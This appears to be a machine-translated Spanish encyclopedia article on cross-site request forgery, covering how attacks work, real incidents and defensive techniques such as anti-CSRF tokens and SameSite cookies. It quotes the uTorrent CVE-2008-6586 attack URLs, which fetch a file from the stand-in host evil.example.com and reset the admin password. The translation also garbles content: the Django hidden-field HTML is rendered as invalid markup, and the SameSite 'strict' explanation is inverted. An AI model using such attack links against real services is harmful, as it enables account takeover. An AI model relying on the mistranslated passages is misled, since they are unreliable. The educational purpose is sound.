Falsificación de solicitudes entre sitios

La falsificación de solicitud entre sitios , también conocida como ataque de un clic o robo de sesión y abreviada como CSRF (a veces pronunciado sea-surf ^[1] ) o XSRF , es un tipo de explotación maliciosa de un sitio web o aplicación web donde se envían comandos no autorizados desde un usuario en el que la aplicación web confía. ^[2] Hay muchas formas en las que un sitio web malicioso puede transmitir dichos comandos; etiquetas de imagen especialmente diseñadas, formularios ocultos y búsquedas de JavaScript o XMLHttpRequests, por ejemplo, pueden funcionar sin la interacción o incluso el conocimiento del usuario. A diferencia de los scripts entre sitios (XSS), que explotan la confianza que un usuario tiene en un sitio en particular, CSRF explota la confianza que un sitio tiene en el navegador de un usuario. ^[3] En un ataque CSRF, un usuario final inocente es engañado por un atacante para que envíe una solicitud web que no pretendía. Esto puede hacer que se realicen acciones en el sitio web que pueden incluir fugas involuntarias de datos del cliente o servidor, cambio de estado de sesión o manipulación de la cuenta de un usuario final.

El término "CSRF" también se utiliza como abreviatura en las defensas contra ataques CSRF, como técnicas que utilizan datos de encabezado, datos de formulario o cookies para probar y prevenir dichos ataques.

En un ataque CSRF, el objetivo del atacante es provocar que una víctima inocente envíe sin saberlo una solicitud web malintencionada a un sitio web al que la víctima tiene acceso privilegiado. Esta solicitud web puede estar diseñada para incluir parámetros de URL, cookies y otros datos que parecen normales para el servidor web que procesa la solicitud. Están en riesgo las aplicaciones web que realizan acciones basadas en la información de usuarios confiables y autenticados sin requerir que el usuario autorice (por ejemplo, mediante una confirmación emergente) la acción específica. Un usuario que está autenticado por una cookie guardada en el navegador web del usuario podría enviar sin saberlo una solicitud HTTP a un sitio que confía en el usuario y, por lo tanto, provocar una acción no deseada.

Una propiedad general de los navegadores web es que incluirán de forma automática e invisible cualquier cookie (incluidas las cookies de sesión y otras) utilizadas por un dominio determinado en cualquier solicitud web enviada a ese dominio. Esta propiedad es explotada por los ataques CSRF. En el caso de que un usuario sea engañado para que envíe una solicitud sin darse cuenta a través de su navegador, estas cookies incluidas automáticamente harán que la solicitud falsificada parezca real para el servidor web y este realizará las acciones solicitadas de forma apropiada, incluida la devolución de datos, la manipulación del estado de la sesión o la realización de cambios en la cuenta de la víctima.

Para que un ataque CSRF funcione, un atacante debe identificar una solicitud web reproducible que ejecute una acción específica, como cambiar la contraseña de una cuenta en la página de destino. Una vez que se identifica dicha solicitud, se puede crear un enlace que genere esta solicitud maliciosa y ese enlace se puede incrustar en una página dentro del control del atacante. ^{[1] [4]} Este enlace se puede colocar de tal manera que ni siquiera sea necesario que la víctima haga clic en él. Por ejemplo, se puede incrustar dentro de una etiqueta de imagen html en un correo electrónico enviado a la víctima que se cargará automáticamente cuando la víctima abra su correo electrónico. Una vez que la víctima ha hecho clic en el enlace, su navegador incluirá automáticamente todas las cookies utilizadas por ese sitio web y enviará la solicitud al servidor web. El servidor web no podrá identificar la falsificación porque la solicitud fue realizada por un usuario que había iniciado sesión y envió todas las cookies necesarias.

La falsificación de solicitud entre sitios es un ejemplo de un ataque de adjunto confuso contra un navegador web porque un atacante con menos privilegios engaña al navegador para que envíe una solicitud falsificada.

CSRF comúnmente tiene las siguientes características:

• Se trata de sitios que dependen de la identidad del usuario .
• Explota la confianza del sitio en esa identidad.
• Engaña al navegador del usuario para que envíe solicitudes HTTP a un sitio de destino donde el usuario ya está autenticado.
• Implica solicitudes HTTP que tienen efectos secundarios .

Las vulnerabilidades de los tokens CSRF se conocen y, en algunos casos, se han explotado desde 2001. ^{[5] Debido a que se lleva a cabo desde la} dirección IP del usuario , es posible que algunos registros de sitios web no tengan evidencia de CSRF. ^[2] Los exploits no se denuncian lo suficiente, al menos públicamente, y en 2007 ^[6] había pocos ejemplos bien documentados:

• El sitio web de Netflix en 2006 tenía numerosas vulnerabilidades a CSRF, lo que podría haber permitido a un atacante realizar acciones como agregar un DVD a la cola de alquiler de la víctima, cambiar la dirección de envío en la cuenta o alterar las credenciales de inicio de sesión de la víctima para comprometer completamente la cuenta. ^[7]
• La aplicación web de banca en línea de ING Direct era vulnerable a un ataque CSRF que permitía transferencias de dinero ilícitas. ^[8]
• El popular sitio web de videos YouTube también fue vulnerable a CSRF en 2008 y esto permitió a cualquier atacante realizar casi todas las acciones de cualquier usuario. ^[8]
• McAfee Secure también era vulnerable a CSRF y permitía a los atacantes cambiar el sistema de su empresa. Esto se solucionó en las versiones más nuevas. ^[9]

En 2018 se llevaron a cabo nuevos ataques contra dispositivos con acceso a Internet, incluidos intentos de cambiar la configuración DNS de los enrutadores. Algunos fabricantes de enrutadores lanzaron rápidamente actualizaciones de firmware para mejorar la protección y recomendaron a los usuarios que cambiaran la configuración del enrutador para reducir el riesgo. No se dieron a conocer detalles, citando "obvias razones de seguridad". ^[10]

Los atacantes que pueden encontrar un enlace reproducible que ejecute una acción específica en la página de destino mientras la víctima está conectada pueden insertar dicho enlace en una página que controlen y engañar a la víctima para que la abra. ^[1] El enlace portador del ataque puede colocarse en una ubicación que la víctima probablemente visite mientras esté conectada al sitio de destino (por ejemplo, un foro de discusión), o enviarse en el cuerpo de un correo electrónico en formato HTML o en un archivo adjunto. Una vulnerabilidad CSRF real en uTorrent (CVE-2008-6586) explotó el hecho de que su consola web accesible en localhost :8080 permitía ejecutar acciones críticas utilizando una simple solicitud GET:

Forzar la descarga de un archivo .torrent

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Cambiar la contraseña de administrador de uTorrent

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviadmin

Los ataques se lanzaron colocando elementos de imagen HTML maliciosos y de acción automática en foros y correos electrónicos no deseados , de modo que los navegadores que visitaran estas páginas las abrieran automáticamente, sin mucha acción del usuario. Las personas que ejecutaban la versión vulnerable de uTorrent al mismo tiempo que abrían estas páginas eran susceptibles al ataque.

Los ataques CSRF que utilizan etiquetas de imágenes suelen realizarse desde foros de Internet , donde los usuarios pueden publicar imágenes pero no JavaScript , por ejemplo usando BBCode :

[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]

Al acceder al enlace de ataque a la aplicación uTorrent local en localhost:8080 , el navegador también enviaría automáticamente todas las cookies existentes para ese dominio. Esta propiedad general de los navegadores web permite que los ataques CSRF exploten sus vulnerabilidades específicas y ejecuten acciones hostiles siempre que el usuario esté conectado al sitio web de destino (en este ejemplo, la interfaz web local de uTorrent) en el momento del ataque.

En el ejemplo de uTorrent descrito anteriormente, el ataque se vio facilitado por el hecho de que la interfaz web de uTorrent utilizaba una solicitud GET para operaciones críticas de cambio de estado (cambiar credenciales, descargar un archivo, etc.), lo que el RFC  2616 desaconseja explícitamente:

En particular, se ha establecido la convención de que los métodos GET y HEAD NO DEBEN tener la importancia de realizar una acción distinta a la recuperación. Estos métodos deben considerarse "seguros". Esto permite que los agentes de usuario representen otros métodos, como POST, PUT y DELETE, de una manera especial, de modo que el usuario sea consciente del hecho de que se está solicitando una acción posiblemente insegura.

Debido a esta suposición, muchos mecanismos de prevención CSRF existentes en los marcos web no cubrirán las solicitudes GET , sino que aplicarán la protección solo a los métodos HTTP que están destinados a cambiar el estado. ^[11]

Un atacante puede falsificar una solicitud para que la víctima inicie sesión en un sitio web de destino utilizando las credenciales del atacante; esto se conoce como login CSRF . Login CSRF hace posibles varios ataques novedosos; por ejemplo, un atacante puede iniciar sesión más tarde en el sitio con sus credenciales legítimas y ver información privada como el historial de actividad que se ha guardado en la cuenta. Este ataque se ha demostrado contra Google ^[12] y Yahoo . ^[13]

Dependiendo del tipo, los métodos de solicitud HTTP varían en su susceptibilidad a los ataques CSRF (debido a las diferencias en su procesamiento por parte de los navegadores web ). Por lo tanto, las medidas de protección contra un ataque dependen del método de la solicitud HTTP.

• En HTTP GET, la explotación de CSRF es trivial y se utilizan los métodos descritos anteriormente, como un hipervínculo simple que contiene parámetros manipulados y se carga automáticamente mediante una etiqueta IMG . Sin embargo, según la especificación HTTP, GET debería utilizarse como un método seguro , es decir, que no cambie significativamente el estado del usuario en la aplicación. Las aplicaciones que utilicen GET para dichas operaciones deberían cambiar a HTTP POST o utilizar protección anti-CSRF.
• La vulnerabilidad HTTP POST a CSRF depende del escenario de uso:
  • En la forma más simple de POST con datos codificados como una cadena de consulta ( field1=value1&field2=value2), el ataque CSRF se implementa fácilmente utilizando un formulario HTML simple y se deben aplicar medidas anti-CSRF.
  • Si los datos se envían en cualquier otro formato ( JSON , XML ), un método estándar es emitir una solicitud POST utilizando XMLHttpRequest con ataques CSRF prevenidos por la política del mismo origen (SOP) y el uso compartido de recursos de origen cruzado (CORS); existe una técnica para enviar contenido arbitrario desde un formulario HTML simple utilizando ENCTYPEatributos; una solicitud falsa de este tipo se puede distinguir de las legítimas por text/plainel tipo de contenido, pero si esto no se aplica en el servidor, se puede ejecutar CSRF ^{[14] [15]}
• otros métodos HTTP (PUT, DELETE, etc.) solo se pueden emitir utilizando XMLHttpRequest con la política del mismo origen (SOP) y el uso compartido de recursos de origen cruzado (CORS) que evitan CSRF; sin embargo, estas medidas no estarán activas en sitios web que las deshabiliten explícitamente mediante Access-Control-Allow-Origin: *el encabezado

Además, aunque normalmente se describe como un tipo de ataque estático, el CSRF también se puede construir dinámicamente como parte de una carga útil para un ataque de secuencias de comandos entre sitios , como lo demuestra el gusano Samy , o se puede construir sobre la marcha a partir de información de sesión filtrada a través de contenido externo y enviada a un objetivo como una URL maliciosa. Los tokens CSRF también pueden ser enviados a un cliente por un atacante debido a la fijación de la sesión u otras vulnerabilidades, o adivinados a través de un ataque de fuerza bruta, presentados en una página maliciosa que genera miles de solicitudes fallidas. La clase de ataque de "CSRF dinámico", o el uso de una carga útil por cliente para la falsificación específica de la sesión, fue descrita ^[16] en 2009 por Nathan Hamiel y Shawn Moyer en los BlackHat Briefings, ^[17] aunque la taxonomía aún no ha ganado una adopción más amplia.

En una reunión del capítulo local de OWASP en enero de 2012, Oren Ofer presentó un nuevo vector para componer ataques CSRF dinámicos: "AJAX Hammer – Dynamic CSRF". ^{[18] [19]}

Se han emitido métricas de gravedad para vulnerabilidades de token CSRF que resultan en ejecución de código remoto con privilegios de raíz ^[20] así como una vulnerabilidad que puede comprometer un certificado raíz , lo que debilitará por completo una infraestructura de clave pública . ^[21]

Esta sección no cita ninguna fuente . Por favor, ayude a mejorar esta sección añadiendo citas de fuentes fiables . El material sin fuentes puede ser cuestionado y eliminado . ( Mayo de 2018 ) ( Aprenda cómo y cuándo eliminar este mensaje )

Para que la falsificación de solicitud entre sitios tenga éxito deben ocurrir varias cosas:

1. El atacante debe apuntar a un sitio que no verifique el encabezado de referencia o a una víctima con un navegador o complemento que permita la suplantación de referencia . ^[22]
2. El atacante debe encontrar un envío de formulario en el sitio de destino, o una URL que tenga efectos secundarios, que haga algo (por ejemplo, transfiera dinero o cambie la dirección de correo electrónico o la contraseña de la víctima).
3. El atacante debe determinar los valores correctos para todos los formularios o entradas URL; si se requiere que alguno de ellos sean valores de autenticación secretos o identificaciones que el atacante no puede adivinar, el ataque probablemente fallará (a menos que el atacante sea extremadamente afortunado en su suposición).
4. El atacante debe atraer a la víctima a una página web con código malicioso mientras la víctima está conectada al sitio de destino.

El ataque es ciego: el atacante no puede ver lo que el sitio web de destino envía a la víctima en respuesta a las solicitudes falsificadas, a menos que explote un error de secuencias de comandos entre sitios u otro error en el sitio web de destino. De manera similar, el atacante solo puede apuntar a cualquier enlace o enviar cualquier formulario que aparezca después de la solicitud falsificada inicial si esos enlaces o formularios posteriores son igualmente predecibles. (Se pueden simular múltiples objetivos incluyendo múltiples imágenes en una página o utilizando JavaScript para introducir un retraso entre clics). ^[23]

La mayoría de las técnicas de prevención de CSRF funcionan incorporando datos de autenticación adicionales en las solicitudes que permiten que la aplicación web detecte solicitudes de ubicaciones no autorizadas.

El patrón de token sincronizador (STP) es una técnica en la que la aplicación web incorpora un token, un valor secreto y único para cada solicitud, en todos los formularios HTML y lo verifica en el lado del servidor. El token puede generarse mediante cualquier método que garantice la imprevisibilidad y la unicidad (por ejemplo, utilizando una cadena hash de semillas aleatorias). Esto se denomina token antifalsificación en ASP.NET. Por lo tanto, el atacante no puede colocar un token correcto en sus solicitudes para autenticarlas. ^{[1] [24] [25]}

Ejemplo de STP establecido por Django en un formulario HTML:

< tipo de entrada= "oculto" nombre= "csrfmiddlewaretoken" valor= "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />    

STP es el más compatible, ya que solo se basa en HTML, pero introduce cierta complejidad en el lado del servidor, debido a la carga asociada con la verificación de la validez del token en cada solicitud. Como el token es único e impredecible, también impone una secuencia adecuada de eventos (por ejemplo, pantalla 1, luego 2, luego 3), lo que genera problemas de usabilidad (por ejemplo, el usuario abre varias pestañas). Se puede flexibilizar utilizando un token CSRF por sesión en lugar de un token CSRF por solicitud.

Las aplicaciones web que utilizan JavaScript para la mayoría de sus operaciones pueden utilizar la siguiente técnica anti-CSRF:

• En una visita inicial sin una sesión de servidor asociada, la aplicación web establece una cookie. La cookie normalmente contiene un token aleatorio que puede permanecer igual durante toda la duración de la sesión web.

Establecer cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Caduca el jueves 23 de julio de 2015 a las 10:25:33 GMT; Edad máxima=31449600; Ruta=/; SameSite=Lax; Segura

• JavaScript que opera en el lado del cliente lee su valor y lo copia en un encabezado HTTP personalizado que se envía con cada solicitud transaccional.

Token X-Csrf: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• El servidor valida la presencia e integridad del token

La seguridad de esta técnica se basa en el supuesto de que solo el código JavaScript que se ejecuta en el lado del cliente de una conexión HTTPS al servidor que configuró inicialmente la cookie podrá leer el valor de la cookie. El código JavaScript que se ejecuta desde un archivo o correo electrónico no autorizado no debería poder leer correctamente el valor de la cookie para copiarlo en el encabezado personalizado. Aunque la cookie csrf-token se puede enviar automáticamente con la solicitud no autorizada, de acuerdo con la política de cookies de SameSite, el servidor seguirá esperando un encabezado X-Csrf-Token válido .

El token CSRF en sí debe ser único e impredecible. Puede generarse aleatoriamente o puede derivarse del token de sesión mediante HMAC :

csrf_token = HMAC(token_de_sesión, secreto_de_aplicación)

La cookie del token CSRF no debe tener el indicador httpOnly , ya que está diseñada para ser leída por JavaScript .

Esta técnica se implementa en muchos marcos modernos, como Django ^[26] y AngularJS . ^[27] Debido a que el token permanece constante durante toda la sesión del usuario, funciona bien con aplicaciones AJAX , pero no impone una secuencia de eventos en la aplicación web.

La protección proporcionada por esta técnica se puede frustrar si el sitio web de destino desactiva su política del mismo origen utilizando una de las siguientes técnicas:

• Archivo clientaccesspolicy.xml que otorga acceso no deseado a los controles de Silverlight ^[28]
• Archivo crossdomain.xml que otorga acceso no deseado a películas Flash ^[29]

De manera similar al enfoque de cookie a encabezado, pero sin involucrar a JavaScript, un sitio puede configurar un token CSRF como una cookie y también insertarlo como un campo oculto en cada formulario HTML. Cuando se envía el formulario, el sitio puede verificar que el token de la cookie coincida con el token del formulario. La política del mismo origen evita que un atacante lea o configure cookies en el dominio de destino, por lo que no puede colocar un token válido en su formulario creado. ^[30]

La ventaja de esta técnica sobre el patrón Sincronizador es que no es necesario almacenar el token en el servidor.

Se puede incluir un atributo adicional "SameSite" cuando el servidor establece una cookie, indicando al navegador si debe adjuntar la cookie a las solicitudes entre sitios. Si este atributo se establece en "strict", la cookie solo se enviará en solicitudes entre sitios, lo que hace que CSRF no sea eficaz. Sin embargo, esto requiere que el navegador reconozca e implemente correctamente el atributo. ^[31]

Las extensiones de navegador como RequestPolicy (para Mozilla Firefox ) o uMatrix (para Firefox y Google Chrome / Chromium ) pueden evitar CSRF al proporcionar una política de denegación predeterminada para las solicitudes entre sitios. Sin embargo, esto puede interferir significativamente con el funcionamiento normal de muchos sitios web. La extensión CsFire (también para Firefox) puede mitigar el impacto de CSRF con un menor impacto en la navegación normal, al eliminar la información de autenticación de las solicitudes entre sitios.

La extensión NoScript para Firefox mitiga las amenazas CSRF al distinguir los sitios confiables de los que no lo son y al eliminar la autenticación y las cargas útiles de las solicitudes POST enviadas por sitios no confiables a los confiables. El módulo Application Boundary Enforcer de NoScript también bloquea las solicitudes enviadas desde páginas de Internet a sitios locales (por ejemplo, localhost), lo que evita los ataques CSRF a servicios locales (como uTorrent) o enrutadores.

La extensión Self Destructing Cookies para Firefox no protege directamente contra CSRF, pero puede reducir la ventana de ataque al eliminar las cookies tan pronto como ya no estén asociadas con una pestaña abierta.

Históricamente se han utilizado o propuesto varias otras técnicas para la prevención del CSRF:

• Verificar que los encabezados de la solicitud contengan X-Requested-With(usado por Ruby on Rails antes de v2.0 y Django antes de v1.2.5), o verificar el Refererencabezado HTTP y/o Originel encabezado HTTP. ^[32]
• La comprobación del encabezado HTTPReferer para ver si la solicitud proviene de una página autorizada se utiliza habitualmente en dispositivos de red integrados porque no aumenta los requisitos de memoria. Sin embargo, una solicitud que omite el Refererencabezado debe tratarse como no autorizada porque un atacante puede suprimir el Refererencabezado emitiendo solicitudes desde URL FTP o HTTPS. Esta Referervalidación estricta puede causar problemas con los navegadores o servidores proxy que omiten el Refererencabezado por razones de privacidad. Además, las versiones antiguas de Flash (anteriores a 9.0.18) permiten que Flash malintencionado genere solicitudes GET o POST con encabezados de solicitud HTTP arbitrarios mediante inyección CRLF . ^[33] Se pueden utilizar vulnerabilidades de inyección CRLF similares en un cliente para falsificar el referente de una solicitud HTTP.
• Durante un tiempo, el método de solicitud POST se consideró inmune a los ataques CSRF triviales que utilizaban parámetros en la URL (utilizando el método GET). Sin embargo, ahora tanto POST como cualquier otro método HTTP se pueden ejecutar fácilmente utilizando XMLHttpRequest . El filtrado de solicitudes GET inesperadas aún previene algunos ataques particulares, como ataques entre sitios que utilizan URL de imágenes o direcciones de enlaces maliciosas y fugas de información entre sitios a través de <script>elementos ( secuestro de JavaScript ); también previene problemas (no relacionados con la seguridad) con rastreadores web agresivos y precarga de enlaces . ^[1]

Las vulnerabilidades de secuencias de comandos entre sitios (XSS) (incluso en otras aplicaciones que se ejecutan en el mismo dominio) permiten a los atacantes eludir prácticamente todas las prevenciones CSRF. ^[34]

• INCUMPLIMIENTO
• Problema de diputado confundido
• DELITO
• Mensajería web
• Pulverización de pilas
• Ataque de repetición
• Fijación de sesión
• Seguridad de la aplicación

• Un hecho muy ignorado sobre la falsificación de solicitudes entre sitios
• Preguntas frecuentes sobre falsificación de solicitudes entre sitios
• Falsificación de solicitud entre sitios del Proyecto de clasificación de amenazas del Consorcio de seguridad de aplicaciones web